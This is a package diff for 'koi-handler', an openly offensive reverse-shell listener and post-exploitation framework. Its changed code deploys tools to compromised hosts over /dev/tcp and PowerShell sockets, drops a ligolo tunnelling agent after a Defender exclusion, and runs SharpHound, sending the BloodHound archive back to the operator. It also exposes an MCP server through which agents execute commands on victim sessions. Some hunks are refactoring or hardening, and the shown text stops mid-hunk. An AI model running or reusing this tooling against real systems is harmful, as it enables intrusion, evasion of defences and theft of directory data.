koi-handler 0.11.2__tar.gz → 0.11.4__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.11.2/src/koi_handler.egg-info → koi_handler-0.11.4}/PKG-INFO +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.4}/pyproject.toml +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/listener.py +15 -21
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/main.py +28 -3
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/mcp/server.py +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/blueprint.py +52 -5
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/download.py +18 -8
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/ligolo.py +6 -27
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/peas.py +7 -32
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/sharphound.py +36 -33
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/upload.py +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/obfuscate_ui.py +120 -54
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/tcp.py +17 -9
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/ui.py +29 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.4}/LICENSE +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/setup.cfg +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/env_dump.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/network_enum.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/secrets_dump.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/wifi_enum.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/session.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/bash_obfuscate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/cli.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/config.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/interact.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/models.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi_handler.egg-info/SOURCES.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.4}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -179,6 +179,18 @@ class Listener:
|
|
|
179
179
|
except ValueError:
|
|
180
180
|
return next((s for s in self._snapshot() if s.tag == ref), None)
|
|
181
181
|
|
|
182
|
+
def _require_alive_session(self, ref: str) -> Optional[Session]:
|
|
183
|
+
self._prune()
|
|
184
|
+
sess = self._resolve_session(ref)
|
|
185
|
+
if sess is None:
|
|
186
|
+
notify('error', f"Session {accent(ref)} not found.")
|
|
187
|
+
return None
|
|
188
|
+
if not sess.alive:
|
|
189
|
+
notify('error', f"Session {accent(f'#{sess.id}')} is no longer alive.")
|
|
190
|
+
self._remove(sess.id)
|
|
191
|
+
return None
|
|
192
|
+
return sess
|
|
193
|
+
|
|
182
194
|
def _session_refs(self) -> list[str]:
|
|
183
195
|
refs = []
|
|
184
196
|
for s in self._snapshot():
|
|
@@ -689,16 +701,10 @@ class Listener:
|
|
|
689
701
|
notify('info', f"Loaded {accent(str(len(modules)))} modules.")
|
|
690
702
|
|
|
691
703
|
def _cmd_upgrade(self, ref: str) -> None:
|
|
692
|
-
self.
|
|
693
|
-
sess = self._resolve_session(ref)
|
|
704
|
+
sess = self._require_alive_session(ref)
|
|
694
705
|
if sess is None:
|
|
695
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
696
706
|
return
|
|
697
707
|
sid = sess.id
|
|
698
|
-
if not sess.alive:
|
|
699
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
700
|
-
self._remove(sid)
|
|
701
|
-
return
|
|
702
708
|
if sess.upgraded:
|
|
703
709
|
notify('warning', f"Session {accent(f'#{sid}')} is already upgraded.")
|
|
704
710
|
if not yesno("Do you want to try upgrading again?"):
|
|
@@ -760,16 +766,10 @@ class Listener:
|
|
|
760
766
|
notify('success', f"Session {accent(f'#{sid}')} terminated.")
|
|
761
767
|
|
|
762
768
|
def _cmd_go(self, ref: str) -> None:
|
|
763
|
-
self.
|
|
764
|
-
sess = self._resolve_session(ref)
|
|
769
|
+
sess = self._require_alive_session(ref)
|
|
765
770
|
if sess is None:
|
|
766
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
767
771
|
return
|
|
768
772
|
sid = sess.id
|
|
769
|
-
if not sess.alive:
|
|
770
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
771
|
-
self._remove(sid)
|
|
772
|
-
return
|
|
773
773
|
|
|
774
774
|
ip, port = sess.addr
|
|
775
775
|
is_windows_pty = sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded
|
|
@@ -852,16 +852,10 @@ class Listener:
|
|
|
852
852
|
print_report_box("Modules", data)
|
|
853
853
|
|
|
854
854
|
def _cmd_run(self, mod_name: str, ref: str, mod_args: list) -> None:
|
|
855
|
-
self.
|
|
856
|
-
sess = self._resolve_session(ref)
|
|
855
|
+
sess = self._require_alive_session(ref)
|
|
857
856
|
if sess is None:
|
|
858
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
859
857
|
return
|
|
860
858
|
sid = sess.id
|
|
861
|
-
if not sess.alive:
|
|
862
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
863
|
-
self._remove(sid)
|
|
864
|
-
return
|
|
865
859
|
|
|
866
860
|
mod_cls = get_module(mod_name)
|
|
867
861
|
if mod_cls is None:
|
|
@@ -88,14 +88,35 @@ class _ArtHelpAction(argparse.Action):
|
|
|
88
88
|
parser.exit()
|
|
89
89
|
|
|
90
90
|
|
|
91
|
+
def _print_version() -> None:
|
|
92
|
+
from koi.utils.ui import accent, bold, dim
|
|
93
|
+
print(f"koi {bold(__version__)}")
|
|
94
|
+
try:
|
|
95
|
+
from urllib.request import urlopen, Request
|
|
96
|
+
import json
|
|
97
|
+
req = Request(
|
|
98
|
+
"https://api.github.com/repos/b3rt1ng/Koi/releases/latest",
|
|
99
|
+
headers={"User-Agent": "koi/update-check", "Accept": "application/json"},
|
|
100
|
+
)
|
|
101
|
+
with urlopen(req, timeout=3) as resp:
|
|
102
|
+
latest = json.loads(resp.read())["tag_name"].lstrip("vV")
|
|
103
|
+
local = __version__.lstrip("vV")
|
|
104
|
+
if latest == local:
|
|
105
|
+
print(dim(" up to date"))
|
|
106
|
+
else:
|
|
107
|
+
print(f"\n{accent(f'v{latest}')} is available! {dim('pip install --upgrade koi-handler')}")
|
|
108
|
+
except Exception:
|
|
109
|
+
print(dim(" could not check for updates"))
|
|
110
|
+
|
|
111
|
+
|
|
91
112
|
def main():
|
|
92
113
|
parser = argparse.ArgumentParser(
|
|
93
114
|
description="koi – multi-session reverse shell listener",
|
|
94
115
|
add_help=False,
|
|
95
116
|
)
|
|
96
117
|
parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
|
|
97
|
-
parser.add_argument("-v", "--version", action="
|
|
98
|
-
help="show the koi version and exit")
|
|
118
|
+
parser.add_argument("-v", "--version", action="store_true",
|
|
119
|
+
help="show the koi version, check for updates, and exit")
|
|
99
120
|
|
|
100
121
|
listener_group = parser.add_argument_group("listener")
|
|
101
122
|
listener_group.add_argument("--host", default=CONFIG["host"], help=f"Bind address (default: {CONFIG['host']})")
|
|
@@ -150,7 +171,11 @@ def main():
|
|
|
150
171
|
help="Bearer token for the MCP server (default: saved in ~/.koi/config.json, or $KOI_MCP_TOKEN)")
|
|
151
172
|
|
|
152
173
|
args = parser.parse_args()
|
|
153
|
-
|
|
174
|
+
|
|
175
|
+
if args.version:
|
|
176
|
+
_print_version()
|
|
177
|
+
sys.exit(0)
|
|
178
|
+
|
|
154
179
|
if args.purge_cache:
|
|
155
180
|
from koi.utils.cache import purge_cache
|
|
156
181
|
ok = purge_cache()
|
|
@@ -554,7 +554,7 @@ class KoiMCPServer:
|
|
|
554
554
|
if sess.os_type != "linux":
|
|
555
555
|
raise ValueError(
|
|
556
556
|
f"koi_exec runs POSIX shell and only supports Linux sessions; "
|
|
557
|
-
f"#{sess.id} is {sess.os_type or 'unknown OS'}
|
|
557
|
+
f"#{sess.id} is {sess.os_type or 'unknown OS'}, use a module instead."
|
|
558
558
|
)
|
|
559
559
|
|
|
560
560
|
command = arguments["command"]
|
|
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
|
|
|
14
14
|
if TYPE_CHECKING:
|
|
15
15
|
from koi.session import Session
|
|
16
16
|
|
|
17
|
+
from koi.utils.cache import cache_path, fetch_or_cache
|
|
17
18
|
from koi.utils.config import TIMEOUTS
|
|
18
19
|
from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
|
|
19
20
|
from koi.utils.models import CommandResult, StreamLine
|
|
@@ -28,11 +29,8 @@ import argparse
|
|
|
28
29
|
|
|
29
30
|
_PS_PROMPT = re.compile(r'^PS\s+\S+>\s*')
|
|
30
31
|
|
|
31
|
-
# Lines exec_stream holds while learning whether the shell echoes.
|
|
32
32
|
_ECHO_PREAMBLE_LINES = 8
|
|
33
33
|
_SELECT_TIMEOUT = 0.1
|
|
34
|
-
# Ceilings so a command that streams endlessly (or without newlines) cannot grow
|
|
35
|
-
# unbounded in memory while exec() waits for its sentinel or its timeout.
|
|
36
34
|
_MAX_EXEC_OUTPUT_BYTES = 8 * 1024 * 1024
|
|
37
35
|
_MAX_LINE_BYTES = 1024 * 1024
|
|
38
36
|
|
|
@@ -361,7 +359,10 @@ class KoiModule(ABC):
|
|
|
361
359
|
"""Transfer *raw* bytes to *dest* on a Linux target via /dev/tcp."""
|
|
362
360
|
local_ip = self._get_local_ip()
|
|
363
361
|
quoted = self._shell_quote(dest)
|
|
364
|
-
port, thread, errors = spawn_send_server(
|
|
362
|
+
port, thread, errors = spawn_send_server(
|
|
363
|
+
raw, timeout=timeout, on_progress=on_progress,
|
|
364
|
+
expected_ip=self.session.addr[0],
|
|
365
|
+
)
|
|
365
366
|
result = self.exec(f"cat < /dev/tcp/{local_ip}/{port} > {quoted}", timeout=timeout)
|
|
366
367
|
thread.join(timeout=timeout)
|
|
367
368
|
|
|
@@ -393,7 +394,10 @@ class KoiModule(ABC):
|
|
|
393
394
|
"$ExecutionContext.SessionState.Path."
|
|
394
395
|
f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
|
|
395
396
|
)
|
|
396
|
-
port, thread, errors = spawn_send_server(
|
|
397
|
+
port, thread, errors = spawn_send_server(
|
|
398
|
+
raw, timeout=timeout, on_progress=on_progress,
|
|
399
|
+
expected_ip=self.session.addr[0],
|
|
400
|
+
)
|
|
397
401
|
ps_cmd = (
|
|
398
402
|
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
399
403
|
f"$_s=$_c.GetStream();"
|
|
@@ -429,6 +433,49 @@ class KoiModule(ABC):
|
|
|
429
433
|
return self._upload_bytes_lin(raw, dest, timeout, on_progress)
|
|
430
434
|
return self._upload_bytes_win(raw, dest, timeout, on_progress)
|
|
431
435
|
|
|
436
|
+
def _fetch_and_deploy(
|
|
437
|
+
self,
|
|
438
|
+
dest: str,
|
|
439
|
+
*,
|
|
440
|
+
url: Optional[str] = None,
|
|
441
|
+
cache_key: Optional[str] = None,
|
|
442
|
+
raw: Optional[bytes] = None,
|
|
443
|
+
label: Optional[str] = None,
|
|
444
|
+
chmod: bool = False,
|
|
445
|
+
timeout: Optional[float] = None,
|
|
446
|
+
) -> Optional[bytes]:
|
|
447
|
+
"""Fetch a resource (or use provided bytes) and upload it to the target.
|
|
448
|
+
|
|
449
|
+
Returns the raw bytes on success, None on failure.
|
|
450
|
+
"""
|
|
451
|
+
if raw is None:
|
|
452
|
+
display = label or cache_key or "resource"
|
|
453
|
+
with self.spinner(f"Fetching {display}..."):
|
|
454
|
+
try:
|
|
455
|
+
raw, source = fetch_or_cache(url, cache_key)
|
|
456
|
+
except Exception as exc:
|
|
457
|
+
self.err(f"Could not fetch {display}: {exc}")
|
|
458
|
+
return None
|
|
459
|
+
if source == "cache":
|
|
460
|
+
self.ok(f"Using cached {display} ({cache_path(cache_key)})")
|
|
461
|
+
|
|
462
|
+
timeout = timeout or max(TIMEOUTS["upload"], len(raw) // 50_000 + 30)
|
|
463
|
+
|
|
464
|
+
bar = self.ui.ProgressBar(total=len(raw))
|
|
465
|
+
self.status(f"Uploading {label or 'file'} -> {dest} ({len(raw):,} bytes)...")
|
|
466
|
+
ok = self._upload_bytes(raw, dest, timeout=timeout, on_progress=bar.update)
|
|
467
|
+
bar.done()
|
|
468
|
+
print()
|
|
469
|
+
|
|
470
|
+
if not ok:
|
|
471
|
+
self.err("Transfer failed.")
|
|
472
|
+
return None
|
|
473
|
+
|
|
474
|
+
if chmod and self.session.os_type == "linux":
|
|
475
|
+
self.exec(f"chmod +x {self._shell_quote(dest)}")
|
|
476
|
+
|
|
477
|
+
return raw
|
|
478
|
+
|
|
432
479
|
def run_module(self, io_timeout: Optional[float] = None) -> None:
|
|
433
480
|
"""Run the module while owning the session socket throughout.
|
|
434
481
|
|
|
@@ -102,7 +102,8 @@ class DownloadModule(KoiModule):
|
|
|
102
102
|
if not is_dir:
|
|
103
103
|
bar = self.ui.ProgressBar(total=remote_size or 0)
|
|
104
104
|
with TCPReceiveServer(
|
|
105
|
-
timeout=TIMEOUTS.get("download", 300), on_progress=bar.update
|
|
105
|
+
timeout=TIMEOUTS.get("download", 300), on_progress=bar.update,
|
|
106
|
+
expected_ip=self.session.addr[0],
|
|
106
107
|
) as srv:
|
|
107
108
|
port = srv.port
|
|
108
109
|
self.status(
|
|
@@ -140,7 +141,7 @@ class DownloadModule(KoiModule):
|
|
|
140
141
|
|
|
141
142
|
if remote_size is not None and len(raw) != remote_size:
|
|
142
143
|
self.err(
|
|
143
|
-
f"Size mismatch: expected {remote_size} bytes, got {len(raw)}
|
|
144
|
+
f"Size mismatch: expected {remote_size} bytes, got {len(raw)} bytes. File not saved."
|
|
144
145
|
)
|
|
145
146
|
return
|
|
146
147
|
|
|
@@ -161,7 +162,8 @@ class DownloadModule(KoiModule):
|
|
|
161
162
|
bar = self.ui.ProgressBar(total=remote_size or 0)
|
|
162
163
|
|
|
163
164
|
if os_type == "linux":
|
|
164
|
-
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update
|
|
165
|
+
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
|
|
166
|
+
expected_ip=self.session.addr[0]) as srv:
|
|
165
167
|
port = srv.port
|
|
166
168
|
self.status(
|
|
167
169
|
f"Downloading {remote_path}/"
|
|
@@ -179,7 +181,8 @@ class DownloadModule(KoiModule):
|
|
|
179
181
|
return
|
|
180
182
|
|
|
181
183
|
else:
|
|
182
|
-
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update
|
|
184
|
+
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
|
|
185
|
+
expected_ip=self.session.addr[0]) as srv:
|
|
183
186
|
port = srv.port
|
|
184
187
|
self.status(
|
|
185
188
|
f"Downloading {remote_path}\\"
|
|
@@ -218,7 +221,7 @@ class DownloadModule(KoiModule):
|
|
|
218
221
|
print()
|
|
219
222
|
|
|
220
223
|
if not raw:
|
|
221
|
-
self.err("Received empty archive
|
|
224
|
+
self.err("Received empty archive, transfer may have timed out.")
|
|
222
225
|
return
|
|
223
226
|
|
|
224
227
|
with self.spinner(f"Extracting into {local_out}/..."):
|
|
@@ -239,10 +242,17 @@ class DownloadModule(KoiModule):
|
|
|
239
242
|
file_count = sum(1 for m in tar.getmembers() if m.isfile())
|
|
240
243
|
else:
|
|
241
244
|
with zipfile.ZipFile(io.BytesIO(raw)) as zf:
|
|
242
|
-
|
|
243
|
-
|
|
245
|
+
base = os.path.abspath(local_out)
|
|
246
|
+
safe = [
|
|
247
|
+
info for info in zf.infolist()
|
|
248
|
+
if os.path.abspath(os.path.join(local_out, info.filename)) == base
|
|
249
|
+
or os.path.abspath(os.path.join(local_out, info.filename)).startswith(base + os.sep)
|
|
250
|
+
]
|
|
251
|
+
for info in safe:
|
|
252
|
+
zf.extract(info, path=local_out)
|
|
253
|
+
file_count = sum(1 for i in safe if not i.filename.endswith("/"))
|
|
244
254
|
except zipfile.BadZipFile as exc:
|
|
245
|
-
self.err(f"Received incomplete archive
|
|
255
|
+
self.err(f"Received incomplete archive: {exc}")
|
|
246
256
|
return
|
|
247
257
|
except Exception as exc:
|
|
248
258
|
self.err(f"Could not extract archive: {exc}")
|
|
@@ -4,7 +4,6 @@ import io
|
|
|
4
4
|
import json
|
|
5
5
|
import re
|
|
6
6
|
import tarfile
|
|
7
|
-
import time
|
|
8
7
|
import zipfile
|
|
9
8
|
|
|
10
9
|
from koi.modules.blueprint import KoiModule
|
|
@@ -192,37 +191,17 @@ class LigoloModule(KoiModule):
|
|
|
192
191
|
)
|
|
193
192
|
self.status(f"Defender exclusion added for {dest_dir}")
|
|
194
193
|
|
|
195
|
-
self.
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
print()
|
|
201
|
-
|
|
202
|
-
if not ok:
|
|
203
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
194
|
+
raw = self._fetch_and_deploy(
|
|
195
|
+
dest, raw=agent_bytes, label="ligolo agent",
|
|
196
|
+
chmod=(os_name == "linux"),
|
|
197
|
+
)
|
|
198
|
+
if raw is None:
|
|
204
199
|
return
|
|
205
200
|
|
|
206
|
-
time.sleep(1.5)
|
|
207
|
-
|
|
208
|
-
if os_name == "linux":
|
|
209
|
-
quoted = self._shell_quote(dest)
|
|
210
|
-
result = self.exec(f"test -s {quoted} && echo OK || echo MISS")
|
|
211
|
-
if "OK" not in result.stdout:
|
|
212
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
213
|
-
return
|
|
214
|
-
self.exec(f"chmod +x {quoted}")
|
|
215
|
-
else:
|
|
216
|
-
check = self._win_query(f"(Test-Path '{self._ps_quote(dest)}').ToString()")
|
|
217
|
-
if check.strip().lower() != "true":
|
|
218
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
219
|
-
return
|
|
220
|
-
|
|
221
|
-
print()
|
|
222
201
|
self.box("ligolo-ng agent deployed", {
|
|
223
202
|
"version": tag,
|
|
224
203
|
"asset": asset["name"],
|
|
225
204
|
"arch": arch,
|
|
226
205
|
"remote": dest,
|
|
227
|
-
"size": f"{len(
|
|
206
|
+
"size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
|
|
228
207
|
})
|
|
@@ -1,10 +1,6 @@
|
|
|
1
1
|
from __future__ import annotations
|
|
2
2
|
|
|
3
|
-
import shlex
|
|
4
|
-
|
|
5
3
|
from koi.modules.blueprint import KoiModule
|
|
6
|
-
from koi.utils.cache import cache_path, fetch_or_cache
|
|
7
|
-
from koi.utils.config import TIMEOUTS
|
|
8
4
|
|
|
9
5
|
LINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
|
|
10
6
|
WINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe"
|
|
@@ -33,43 +29,22 @@ class PeasModule(KoiModule):
|
|
|
33
29
|
]
|
|
34
30
|
|
|
35
31
|
def run(self) -> None:
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
if os_type == "linux":
|
|
32
|
+
if self.session.os_type == "linux":
|
|
39
33
|
url, name = LINPEAS_URL, "linpeas.sh"
|
|
40
34
|
dest = self.args.output or f"./{name}"
|
|
41
35
|
else:
|
|
42
36
|
url, name = WINPEAS_URL, "winPEASx64.exe"
|
|
43
37
|
dest = self.args.output or f".\\{name}"
|
|
44
38
|
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
return
|
|
51
|
-
|
|
52
|
-
if source == "cache":
|
|
53
|
-
self.ok(f"Using cached {name} ({cache_path(name)})")
|
|
54
|
-
else:
|
|
55
|
-
self.ok(f"{name} fetched from PEASS-ng releases")
|
|
56
|
-
|
|
57
|
-
total = len(raw)
|
|
58
|
-
bar = self.ui.ProgressBar(total=total)
|
|
59
|
-
self.status(f"Uploading {name} -> {dest} ({total} bytes)...")
|
|
60
|
-
ok = self._upload_bytes(raw, dest, timeout=TIMEOUTS["upload"], on_progress=bar.update)
|
|
61
|
-
bar.done()
|
|
62
|
-
print()
|
|
63
|
-
|
|
64
|
-
if not ok:
|
|
65
|
-
self.err("Transfer failed.")
|
|
39
|
+
raw = self._fetch_and_deploy(
|
|
40
|
+
dest, url=url, cache_key=name, label=name,
|
|
41
|
+
chmod=(self.session.os_type == "linux"),
|
|
42
|
+
)
|
|
43
|
+
if raw is None:
|
|
66
44
|
return
|
|
67
45
|
|
|
68
|
-
if os_type == "linux":
|
|
69
|
-
self.exec(f"chmod +x {shlex.quote(dest)}")
|
|
70
|
-
|
|
71
46
|
self.box("Upload complete", {
|
|
72
47
|
"tool": name,
|
|
73
48
|
"remote path": dest,
|
|
74
|
-
"size": f"{
|
|
49
|
+
"size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
|
|
75
50
|
})
|
|
@@ -96,40 +96,43 @@ class SharpHoundModule(KoiModule):
|
|
|
96
96
|
) -> tuple[str, bytes]:
|
|
97
97
|
"""Run SharpHound on target, return (status, payload)."""
|
|
98
98
|
local_ip = self._get_local_ip()
|
|
99
|
-
|
|
100
|
-
|
|
99
|
+
with TCPReceiveServer(
|
|
100
|
+
timeout=timeout, expected_ip=self.session.addr[0],
|
|
101
|
+
) as srv:
|
|
102
|
+
port = srv.port
|
|
103
|
+
|
|
104
|
+
ps_cmd = (
|
|
105
|
+
f"$ErrorActionPreference='Continue';"
|
|
106
|
+
f"$work=(Get-Item '{work_dir}').FullName;"
|
|
107
|
+
f"$exe=Join-Path $work '{exe_name}';"
|
|
108
|
+
f"$log=Join-Path $work '{log_name}';"
|
|
109
|
+
f"$payload=$null;"
|
|
110
|
+
f"try{{"
|
|
111
|
+
f" Push-Location $work;"
|
|
112
|
+
f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
|
|
113
|
+
f" Pop-Location;"
|
|
114
|
+
f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
|
|
115
|
+
f" if($zip -and (Test-Path $zip)){{"
|
|
116
|
+
f" $b=[IO.File]::ReadAllBytes($zip);"
|
|
117
|
+
f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
|
|
118
|
+
f" $payload=New-Object byte[] ($h.Length+$b.Length);"
|
|
119
|
+
f" [Array]::Copy($h,0,$payload,0,$h.Length);"
|
|
120
|
+
f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
|
|
121
|
+
f" }}else{{"
|
|
122
|
+
f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
|
|
123
|
+
f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
|
|
124
|
+
f" }}"
|
|
125
|
+
f"}}catch{{"
|
|
126
|
+
f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
|
|
127
|
+
f"}}"
|
|
128
|
+
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
129
|
+
f"$_s=$_c.GetStream();"
|
|
130
|
+
f"$_s.Write($payload,0,$payload.Length);"
|
|
131
|
+
f"$_s.Flush();$_c.Close()"
|
|
132
|
+
)
|
|
133
|
+
self._dispatch_ps(ps_cmd)
|
|
134
|
+
data = srv.collect()
|
|
101
135
|
|
|
102
|
-
ps_cmd = (
|
|
103
|
-
f"$ErrorActionPreference='Continue';"
|
|
104
|
-
f"$work=(Get-Item '{work_dir}').FullName;"
|
|
105
|
-
f"$exe=Join-Path $work '{exe_name}';"
|
|
106
|
-
f"$log=Join-Path $work '{log_name}';"
|
|
107
|
-
f"$payload=$null;"
|
|
108
|
-
f"try{{"
|
|
109
|
-
f" Push-Location $work;"
|
|
110
|
-
f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
|
|
111
|
-
f" Pop-Location;"
|
|
112
|
-
f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
|
|
113
|
-
f" if($zip -and (Test-Path $zip)){{"
|
|
114
|
-
f" $b=[IO.File]::ReadAllBytes($zip);"
|
|
115
|
-
f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
|
|
116
|
-
f" $payload=New-Object byte[] ($h.Length+$b.Length);"
|
|
117
|
-
f" [Array]::Copy($h,0,$payload,0,$h.Length);"
|
|
118
|
-
f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
|
|
119
|
-
f" }}else{{"
|
|
120
|
-
f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
|
|
121
|
-
f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
|
|
122
|
-
f" }}"
|
|
123
|
-
f"}}catch{{"
|
|
124
|
-
f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
|
|
125
|
-
f"}}"
|
|
126
|
-
